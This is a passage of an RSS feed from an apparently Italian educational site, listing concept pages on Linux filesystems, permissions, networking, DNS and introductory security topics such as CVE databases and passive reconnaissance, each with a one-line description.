e la firma.</description></item><item><title>Compressione Vs Archiviazione</title><link>https://u-random.dev/concetti/compressione-vs-archiviazione/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/compressione-vs-archiviazione/</guid><description>L'archiviazione raggruppa più file in uno solo (container), mentre la compressione riduce lo spazio occupato dai dati eliminando le ridondanze.</description></item><item><title>CVE e NVD - Database Vulnerabilità</title><link>https://u-random.dev/concetti/cve-nvd/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/cve-nvd/</guid><description>CVE (Common Vulnerabilities and Exposures) è il dizionario ufficiale delle vulnerabilità informatiche. NVD (National Vulnerability Database) arricchisce ogni CVE con score di gravità, metriche tecniche e prodotti affetti.</description></item><item><title>DNS Records</title><link>https://u-random.dev/concetti/dns-records/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/dns-records/</guid><description>I record DNS sono le singole 'voci' nella zona DNS di un dominio. Ogni record associa un nome a un valore specifico (IP, altro nome, server di posta, testo di verifica). Quando modifichi i parametri DNS nel pannello del tuo provider, stai editando questi record.</description></item><item><title>DNS Resolution Flow</title><link>https://u-random.dev/concetti/dns-resolution-flow/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/dns-resolution-flow/</guid><description>Il DNS è il sistema distribuito gerarchico che traduce nomi di dominio in indirizzi IP attraverso una catena di deleghe: resolver, root server, TLD, authoritative nameserver.</description></item><item><title>Etc Passwd Anatomy</title><link>https://u-random.dev/concetti/etc-passwd-anatomy/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/etc-passwd-anatomy/</guid><description>Il file &lt;code&gt;/etc/passwd&lt;/code&gt; è il database locale degli account utente. È un file di testo pubblico (leggibile da tutti) che definisce chi può accedere al sistema.</description></item><item><title>Filesystem Architecture Inodes</title><link>https://u-random.dev/concetti/filesystem-architecture-inodes/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/filesystem-architecture-inodes/</guid><description>Concetto Core: In Linux, una directory non è un semplice 'contenitore', ma un file speciale che funge da indice. Al suo interno risiedono voci che associano il nome di ogni elemento al suo numero di inode. L'inode è la struttura dati che contiene i metadati e i puntatori ai blocchi fisici sul disco.</description></item><item><title>Google Operators - Operatori di Ricerca Avanzata</title><link>https://u-random.dev/concetti/google-operators/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/google-operators/</guid><description>Sintassi speciale per affinare le ricerche su Google e altri motori. In ambito OSINT e threat intelligence permettono di trovare informazioni specifiche su target, vulnerabilità, e risorse tecniche con precisione chirurgica.</description></item><item><title>How Web Works</title><link>https://u-random.dev/concetti/how-web-works/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/how-web-works/</guid><description>Architettura completa di una richiesta web end-to-end: DNS, WAF, load balancer, web server, virtual host, database, contenuto statico vs dinamico, backend languages.</description></item><item><title>ICMP, MAC e IP - Identità e Diagnostica di Rete</title><link>https://u-random.dev/concetti/icmp-mac-ip/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/icmp-mac-ip/</guid><description>Tre concetti fondamentali del networking: IP identifica dove sei nella rete (indirizzo logico), MAC identifica chi sei fisicamente sulla LAN (indirizzo hardware), ICMP è il protocollo di diagnostica usato da ping e traceroute.</description></item><item><title>Inode Anatomy</title><link>https://u-random.dev/concetti/inode-anatomy/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/inode-anatomy/</guid><description>L'Inode (Index Node) è la struttura dati fondamentale dei filesystem Unix-like. Funge da 'carta d'identità' del file, contenendo tutti i metadati e i puntatori ai dati fisici, ma ignorando completamente il nome del file.</description></item><item><title>Journalctl Vs Var Log</title><link>https://u-random.dev/concetti/journalctl-vs-var-log/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/journalctl-vs-var-log/</guid><description>Storicamente, Linux ha sempre salvato i log in file di testo semplice dentro &lt;code&gt;/var/log&lt;/code&gt; (gestiti da un servizio chiamato &lt;code&gt;syslog&lt;/code&gt; o &lt;code&gt;rsyslog&lt;/code&gt;). Con l'avvento di &lt;a href="https://u-random.dev/concetti/systemd/" &gt;systemd&lt;/a&gt;, è stato introdotto &lt;a href="https://u-random.dev/concetti/journald/" &gt;journald&lt;/a&gt;, che salva i log in un database binario.</description></item><item><title>LAN Topologies - Topologie di Rete</title><link>https://u-random.dev/concetti/lan-topologies/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/lan-topologies/</guid><description>Una topologia di rete descrive come i dispositivi sono collegati fisicamente e logicamente tra loro. La scelta della topologia influenza costo, scalabilità, affidabilità e facilità di troubleshooting.</description></item><item><title>Link Hard Vs Symbolic</title><link>https://u-random.dev/concetti/link-hard-vs-symbolic/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/link-hard-vs-symbolic/</guid><description>Meccanismi del filesystem per far sì che un file appaia in più posizioni contemporaneamente.</description></item><item><title>Link Orfani (Broken Links)</title><link>https://u-random.dev/concetti/broken-links/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/broken-links/</guid><description>Un collegamento simbolico (Symlink) il cui percorso di destinazione non esiste più sul filesystem. Il link punta al 'nulla'.</description></item><item><title>Linux Filesystem Hierarchy</title><link>https://u-random.dev/concetti/linux-filesystem-hierarchy/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/linux-filesystem-hierarchy/</guid><description>Lo standard (FHS - Filesystem Hierarchy Standard) che definisce la posizione e il contenuto delle directory principali in un sistema Linux. Tutto parte dalla 'radice' rappresentata dal simbolo &lt;code&gt;/&lt;/code&gt;.</description></item><item><title>Linux Groups</title><link>https://u-random.dev/concetti/linux-groups/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/linux-groups/</guid><description>I gruppi sono entità logiche che raggruppano più utenti per facilitare la gestione granulare dei permessi su file, directory e risorse hardware.</description></item><item><title>Linux Permissions UGO</title><link>https://u-random.dev/concetti/linux-permissions-ugo/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/linux-permissions-ugo/</guid><description>Il sistema di permessi Linux si basa su tre livelli (User, Group, Others) e tre bit (r, w, x) che cambiano significato a seconda che l'oggetto sia un file o una directory.</description></item><item><title>Magic Bytes</title><link>https://u-random.dev/concetti/magic-bytes/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/magic-bytes/</guid><description>I Magic Bytes sono sequenze di byte posizionate all'inizio di un file (nell'header) che permettono al sistema operativo e ai software di identificarne il tipo reale, indipendentemente dall'estensione.</description></item><item><title>Nat Concept</title><link>https://u-random.dev/concetti/nat-concept/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/nat-concept/</guid><description>Il NAT è un meccanismo che permette a più dispositivi di una rete privata (con IP privati) di accedere a una rete pubblica (Internet) utilizzando un unico indirizzo IP pubblico. Funziona come un portiere d'albergo che smista la posta per tutte le stanze.</description></item><item><title>Network Configuration Linux</title><link>https://u-random.dev/concetti/network-configuration-linux/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/network-configuration-linux/</guid><description>La gestione della rete su Linux varia a seconda della distribuzione e dello scopo (Server vs Desktop). Ubuntu Server usa principalmente Netplan, mentre Kali (e le distro desktop) usa spesso NetworkManager o il file statico &lt;code&gt;interfaces&lt;/code&gt;.</description></item><item><title>Network Interfaces (Interfacce di Rete)</title><link>https://u-random.dev/concetti/network-interfaces/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/network-interfaces/</guid><description>Un'interfaccia di rete è il punto di contatto tra il kernel Linux e una rete - fisica o virtuale. Ogni interfaccia ha un nome, un indirizzo IP, e gestisce un tipo specifico di traffico.</description></item><item><title>Orphaned Files Security</title><link>https://u-random.dev/concetti/orphaned-files-security/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/orphaned-files-security/</guid><description>Si definiscono 'orfani' i file che possiedono un UID (User ID) o un GID (Group ID) che non corrispondono più a nessun utente o gruppo esistente nel sistema.</description></item><item><title>OSI Model - Il Modello a Layer</title><link>https://u-random.dev/concetti/osi-model/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/osi-model/</guid><description>Modello concettuale creato da ISO nel 1984 per standardizzare la comunicazione tra sistemi di produttori diversi. Divide la comunicazione di rete in 7 layer con responsabilità precise. Oggi TCP/IP ha vinto nella pratica comprimendo i 7 layer in 4, ma OSI rimane il linguaggio universale per ragionare sui problemi di rete e sicurezza.</description></item><item><title>Passive Reconnaissance - Ricognizione Passiva</title><link>https://u-random.dev/concetti/passive-reconnaissance/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/passive-reconnaissance/</guid><description>Fase di raccolta informazioni su un target senza interagire direttamente con i suoi sistemi. Il target non si accorge dell'attività perché si usano solo fonti pubbliche: motori di ricerca, DNS pubblici, social media, archivi, certificati TLS.</description></item><item><title>Persistenza degli Alias</title><link>https://u-random.dev/concetti/alias-persistence/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/alias-persistence/</guid><description>Il metodo per rendere permanenti gli alias salvandoli nei file di configurazione della shell invece di lasciarli nella memoria volatile della sessione.</description></item><item><title>Proxy</title><link>https://u-random.dev/concetti/proxy/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/proxy/</guid><description>Un server proxy agisce come intermediario tra un client e un server. A differenza del NAT che lavora a basso livello (IP), il proxy lavora solitamente a livello applicativo. Il client chiede al proxy, e il proxy chiede al server finale 'per conto' del client.</description></item><item><title>Rm Mechanism</title><link>https://u-random.dev/concetti/rm-mechanism/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/rm-mechanism/</guid><description>La logica per cui l'eliminazione di un file in Linux non è la distruzione dei dati, ma la rimozione di un riferimento (link) all'Inode.</description></item><item><title>Routing, Hop e TTL</title><link>https://u-random.dev/concetti/routing-hop-ttl/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/routing-hop-ttl/</guid><description>Il routing è il processo con cui i pacchetti viaggiano da una rete all'altra attraverso router intermedi. Ogni 'tappa' si chiama hop. Il TTL limita il numero massimo di hop che un pacchetto può fare prima di essere scartato.</description></item><item><title>Servizi Linux (Daemon)</title><link>https://u-random.dev/concetti/linux-services/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/linux-services/</guid><description>Processi che girano in background senza interazione diretta dell'utente, gestiti solitamente da &lt;code&gt;systemd&lt;/code&gt;.</description></item><item><title>Socket (Endpoint di Comunicazione)</title><link>https://u-random.dev/concetti/socket-concept/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/socket-concept/</guid><description>Un socket è un endpoint di comunicazione che permette a due processi di scambiare dati, sia sulla stessa macchina che attraverso la rete. In Linux, un socket è un file con un proprio File Descriptor, gestito dal Kernel.</description></item><item><title>Ssh Key Authentication</title><link>https://u-random.dev/concetti/ssh-key-authentication/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ssh-key-authentication/</guid><description>Metodo di autenticazione sicura basato sulla crittografia asimmetrica. Utilizza una coppia di chiavi (pubblica e privata) per stabilire fiducia tra client e server senza inviare password in rete.</description></item><item><title>Standard Streams</title><link>https://u-random.dev/concetti/standard-streams/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/standard-streams/</guid><description>I tre canali di comunicazione che ogni processo Linux apre automaticamente: stdin (0), stdout (1), stderr (2). Fondamentale per capire pipe, redirezione e come collegare comandi tra loro.</description></item><item><title>Sudoers And Privileges</title><link>https://u-random.dev/concetti/sudoers-and-privileges/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/sudoers-and-privileges/</guid><description>Il sistema &lt;code&gt;sudo&lt;/code&gt; (SuperUser DO) permette a utenti fidati di eseguire comandi con i privilegi di sicurezza di un altro utente (normalmente root).</description></item><item><title>Systemd</title><link>https://u-random.dev/concetti/systemd/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/systemd/</guid><description>&lt;code&gt;systemd&lt;/code&gt; è il init system e il gestore dei servizi (Service Manager) standard per la maggior parte delle distribuzioni Linux moderne (Ubuntu, Kali, Debian). È il primo processo che viene avviato dal Kernel (PID 1) e ha il compito di 'tirare su' tutto il resto del sistema.</description></item><item><title>Uid Gid Identifiers</title><link>https://u-random.dev/concetti/uid-gid-identifiers/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/uid-gid-identifiers/</guid><description>UID (User ID) e GID (Group ID) sono identificativi numerici che il Kernel Linux utilizza per identificare utenti e gruppi e applicare le policy di controllo accessi (Permissions). In un sistema Linux, poiché 'tutto è un file', il sistema ha bisogno di un modo univoco per stabilire chi possiede cosa e quali permessi ha. UID e GID sono le 'carte d'identità' digitali che il Kernel utilizza per gestir</description></item></channel></rss>